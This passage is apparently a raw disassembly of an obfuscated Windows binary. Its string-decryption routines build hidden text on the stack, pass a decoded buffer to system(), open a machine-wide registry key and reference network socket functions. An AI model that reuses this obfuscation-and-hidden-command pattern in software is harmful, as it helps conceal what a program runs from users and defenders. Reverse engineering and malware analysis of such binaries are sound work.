sub r11b, al
sub r11b, 0x36
add r11b, dl
movzx eax, bl
add r10b, 0x7a
and al, r10b
add al, al
sub bl, al
sub bl, 0x56
add bl, r10b
mov byte [rbp + rdi - 0x40], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d2e53
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
dec rdi
inc rdi
jmp 0x1400d2e53
movzx r10d, dil
mov ecx, 7
lea edx, [r10 - 2]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r10b, 0x66
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi - 0x40], cl
add r8, r9
jmp 0x1400d390f
lea rcx, [rdi + r15]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xa
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d2e53
lea rdx, [rdi + r12]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d2e53
add dil, 0x4e
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x22
jmp 0x1400d2e50
add dil, 0x62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400d2e42
lea rcx, [rbp + 0x1400308]
jmp 0x1400d39a7
lea rcx, [rbp + 0xbc4a7e]
jmp 0x1400d39a7
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400d39bf
xor r13d, r13d
movzx r11d, byte [rbp + 0x260]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp + 0xf7], eax
movups xmmword [rbp + 0xe7], xmm0
mov byte [rbp + 0xfb], al
movabs rsi, 0x3c9309134108e383
mov dword [rbp + 0x90], 0x6f6d6a6b
movabs r14, 0x212b51ad494fff9b
mov dword [rbp + 0x94], 0x52786a5d
movabs r12, 0xa8053f86c73e3895
mov dword [rbp + 0x98], 0x748a8b81
movabs r15, 0xb5b91b39c31aaa89
mov dword [rbp + 0x9c], 0x9649998c
mov dword [rbp + 0xa0], 0x92929d90
mov dword [rbp + 0xa4], 0x93637096
mov dword [rbp + 0xa8], 0x9d99446a
mov dword [rbp + 0xac], 0xa3a5a796
mov dword [rbp + 0xb0], 0xad5f7d52
mov dword [rbp + 0xb4], 0x76535059
mov dword [rbp + 0xb8], 0x57aa5aa1
mov dword [rbp + 0xbc], 0x4849585e
mov dword [rbp + 0xc0], 0x48b242b0
mov dword [rbp + 0xc4], 0x6748b0b3
mov dword [rbp + 0xc8], 0xb947b9b5
mov dword [rbp + 0xcc], 0xc6c93eb4
mov dword [rbp + 0xd0], 0x3dc61ec4
mov dword [rbp + 0xd4], 0x3031cfc3
mov dword [rbp + 0xd8], 0x37c91432
mov dword [rbp + 0xdc], 0xdbd20e35
mov dword [rbp + 0xe0], 0x28d22829
mov word [rbp + 0xe4], 0xd6de
mov byte [rbp + 0xe6], Ordinal_79
nop dword [rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x6c
jae 0x1400d465b
movzx ebx, byte [rbp + rdi + 0x90]
mov rdx, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400d4652
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d3b4a
lea r11, [rdi + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, dl
jmp 0x1400d3b84
je 0x1400d45e6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4565
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d4537
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d451e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d44e2
cmp r9, rdi
ja 0x1400d4649
lea rcx, [r9 + 8]
cmp r8, rcx
jae 0x1400d3bac
lea ecx, [rdi - 0x41]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x39
jmp 0x1400d3c00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d44a0
inc rax
cmp r8, rax
je 0x1400d4481
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d4465
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d444c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d4433
cmp r8, rcx
je 0x1400d4409
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d4146
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d4128
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d4106
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d40e7
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d40c4
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d40a3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d4085
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d406c
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d4053
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d4029
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d3c10
lea r8, [r9 + 0xa]
lea r9, [r8 + 5]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d462d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d4611
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d3dfc
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d3de3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d3dca
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d3fe4
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d3f9b
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d3f5e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d3f3a
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d3c10
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d3f10
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d3ef2
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d3ed4
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d3eb6
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d3e9a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d3e7d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d3e5e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d3e37
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d3e15
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d3c10
lea r8, [r9 + 6]
lea r9, [r8 + 2]
jmp 0x1400d3c10
lea ecx, [rdi + 0x21]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x19
jmp 0x1400d3c00
lea ecx, [rdi + 0x1b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x43
jmp 0x1400d3b84
lea ecx, [rdi + 0x15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x6d
jmp 0x1400d3b15
lea edx, [rdi - 8]
mov ecx, Ordinal_32
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d44b9
lea edx, [rdi - 0xe]
mov ecx, Ordinal_50
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d3b03
lea ecx, [rdi - 0x14]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
inc rdi
jmp 0x1400d3b03
lea ecx, [rdi - 0x1a]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x1400d44fb
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
add r8, r9
jmp 0x1400d454c
lea edx, [rdi - 0x26]
mov ecx, 5
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d454c
lea edx, [rdi - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d457d
lea edx, [rdi - 0x32]
mov ecx, Ordinal_50
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d45a4
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x78
inc rdi
jmp 0x1400d3b03
lea ecx, [rdi + 0x39]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x71
mov byte [rbp + rdi + 0x90], r11b
inc rdi
jmp 0x1400d3b03
lea ecx, [rdi + 0x33]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x65
cmp r9, 4
jb 0x1400d3f4e
mov edx, reloc.WS2_32.dll_recvfrom
movzx r10d, dil
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, bl
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400d44b9
lea ecx, [rdi + 0x2d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3b
cmp r8, 0x3e8
jae 0x1400d43c8
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400d4319
lea edx, [rdi - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d3f72
lea ecx, [rdi + 0x27]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x11
lea rax, [r9 + r8]
cmp rax, 8
je 0x1400d43ee
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400d426a
lea ecx, [rdi + 0x37]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7f
jmp 0x1400d3faf
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x56
inc rdi
jmp 0x1400d3b03
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x1400d45a4
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x1400d457d
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d454c
lea edx, [rdi + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400d454c
mov ecx, 0x3e
movzx r10d, dil
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d44fb
lea ecx, [rdi + 0x56]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
inc rdi
jmp 0x1400d3b03
lea ecx, [rdi + 0x50]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
inc rdi
jmp 0x1400d3b03
movzx r10d, dil
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
jmp 0x1400d44b9
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400d4168
lea ecx, [rdi - 0x7d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x6b
jmp 0x1400d3ff8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d419b
lea ecx, [rdi + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x72
inc rdi
jmp 0x1400d3b03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d41c2
lea edx, [rdi - 0x76]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d457d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d41e7
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
add r8, r9
jmp 0x1400d454c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d420e
movzx r10d, dil
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400d44fb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d4236
lea ecx, [rdi - 0x5e]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
inc rdi
jmp 0x1400d3b03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d3ff8
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d3b03
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4291
movzx r10d, dil
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x55
jmp 0x1400d44b9
inc rax
cmp r8, rax
jne 0x1400d42bb
lea ecx, [rdi + 0x43]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2b
inc rdi
jmp 0x1400d3b03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d42e2
lea ecx, [rdi + 0x49]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r11b
inc rdi
jmp 0x1400d3b03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d3faf
lea ecx, [rdi + 0x6d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
add r11b, 5
inc rdi
jmp 0x1400d3b03
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d4351
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d3b03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4373
lea ecx, [rdi + 0xe]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x1400d454c
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d439d
lea edx, [rdi + 0x14]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400d454c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d3f72
movzx r10d, dil
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x1400d44b9
movzx ecx, byte [rbp + rdi + 0x90]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x38]
and al, dl
sub cl, al
add cl, 0x3c
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d44fb
lea edx, [rdi + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d457d
lea ecx, [rdi - 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
add r11b, 0x4d
inc rdi
jmp 0x1400d3b03
lea ecx, [rdi - 0x17]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5f
jmp 0x1400d457d
lea ecx, [rdi - 0x1d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x35
jmp 0x1400d454c
lea ecx, [rdi - 0x23]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xb
add r8, r9
jmp 0x1400d454c
lea ecx, [rdi - 0x2f]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x49
inc rdi
jmp 0x1400d3b03
movzx r10d, dil
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x63
movzx eax, bl
sub r10b, 0x4b
and al, r10b
add al, al
sub bl, al
add bl, 0xd
add bl, r10b
mov byte [rbp + rdi + 0x90], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d3b03
movzx r10d, dil
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x6f
movzx eax, bl
sub r10b, 0x45
and al, r10b
add al, al
sub bl, al
sub bl, 0x1d
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x90], bl
add r8, r9
jmp 0x1400d454c
lea ecx, [rdi - 0x5f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x67
add r8, r9
jmp 0x1400d454c
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x3d
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d3b03
lea rcx, [rdi + r12]
movzx ebx, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x13
lea edx, [rdi - 0x3f]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x47
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x90], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x44]
inc r8
movzx eax, dl
mov ecx, reloc.WS2_32.dll_select
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x90], cl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d3b03
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x41
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d3b03
add dil, 0xf
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x69
jmp 0x1400d3b00
add dil, 9
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x3f
jmp 0x1400d3af0
lea rdx, [rbp + 0x178dc94]
jmp 0x1400d4662
lea rdx, [rbp + 0x141c017]
jmp 0x1400d4662
lea rdx, [rbp + 0x90]
lea rax, [rbp + 0x270]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400d761c
movzx edx, byte [rbp + 0x260]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp - 0x80], 0xd9dbc7a1
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], eax
movabs rsi, 0x80d28a6ad949e78f
mov dword [rbp - 0x7c], 0x7fd8dac6
movabs r14, 0x8766ddc1a3992407
movabs r12, 0x85c1c8ebf10554e9
movabs r15, 0x82779f408bddb6ad
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rbx, r13
cmp rbx, 0x1c
jae 0x1400d529c
movzx r10d, byte [rbp + rbx - 0x80]
mov r11, r10
cmp r8, rbx
ja 0x1400d5293
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d4731
lea rcx, [rbx + rsi]
movzx eax, r11b
and al, cl
movzx edx, r11b
add al, al
sub dl, al
add dl, 0x17
add dl, cl
jmp 0x1400d4780
je 0x1400d522d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d51b6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d5188
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d5149
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d5129
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d50e4
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400d528a
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d47a7
lea edx, [rbx - 0x45]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x1d
add dl, r10b
jmp 0x1400d47f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d50c9
inc rax
cmp r8, rax
je 0x1400d50a6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d5089
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d506f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d5047
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d4d1b
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d4cfd
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d4cd8
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d4cb6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d4c97
lea rcx, [r9 + 0x10]
cmp r8, rcx
je 0x1400d4c7a
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d4c60
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d4c47
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4c2b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d4c01
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d4800
lea r9, [rcx + 0x61]
mov r8, rcx
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400d5270
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400d5256
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400d49e9
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x1400d49ce
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400d49b3
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400d4bba
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400d4b73
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400d4b33
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400d4b12
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400d4800
lea r8, [r9 + 6]
lea r9, [r8 + 1]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d4aea
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d4acf
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d4ab5
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d4a99
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d4a7a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d4a65
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d4a45
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d4a22
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d4a04
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d4800
lea r8, [r9 + 0x20]
lea r9, [r8 + 6]
jmp 0x1400d4800
lea ecx, [rbx - 0x5b]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
add dl, 0x7d
add dl, cl
jmp 0x1400d47f0
lea ecx, [rbx - 0x79]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
add dl, 0x4f
add dl, cl
jmp 0x1400d4780
lea ecx, [rbx + 0x69]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
add dl, 0x21
add dl, cl
jmp 0x1400d4703
lea ecx, [rbx - 0x28]
movzx eax, r10b
and al, cl
mov edx, ntohl
sub dl, al
movzx r11d, bl
add dl, dl
add dl, r10b
jmp 0x1400d50fd
lea ecx, [rbx - 0x46]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rbx
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x16
inc rbx
jmp 0x1400d46f3
lea ecx, [rbx - 0x64]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x44
inc rbx
jmp 0x1400d46f3
lea edx, [rbx + 0x7e]
movzx eax, r10b
and al, dl
movzx r11d, bl
sub dl, 0x72
jmp 0x1400d515a
lea edx, [rbx + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400d519e
lea edx, [rbx + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400d519e
lea edx, [rbx + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d51ce
lea edx, [rbx + 6]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x2a
sub cl, al
add dl, cl
jmp 0x1400d51f3
lea ecx, [rbx - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x58
inc rbx
jmp 0x1400d46f3
lea ecx, [rbx + 0x1d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x35
mov byte [rbp + rbx - 0x80], dl
inc rbx
jmp 0x1400d46f3
lea edx, [rbx - 1]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 7
add dl, cl
cmp r9, 0x28
jb 0x1400d4b27
mov ecx, reloc.WS2_32.dll_setsockopt
movzx r11d, bl
movzx eax, r10b
lea edx, [r11 - 6]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400d50ff
lea edx, [rbx - 0x1f]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x27
add dl, cl
cmp r8, 0x80
jae 0x1400d500b
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400d4f15
lea edx, [rbx - 0x32]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d4b47
lea edx, [rbx - 0x3d]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x55
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x1400d502a
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400d4e51
lea edx, [rbx + 0x13]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x7b
jmp 0x1400d4b87
lea edx, [rbx + 0x62]
movzx eax, r10b
and al, dl
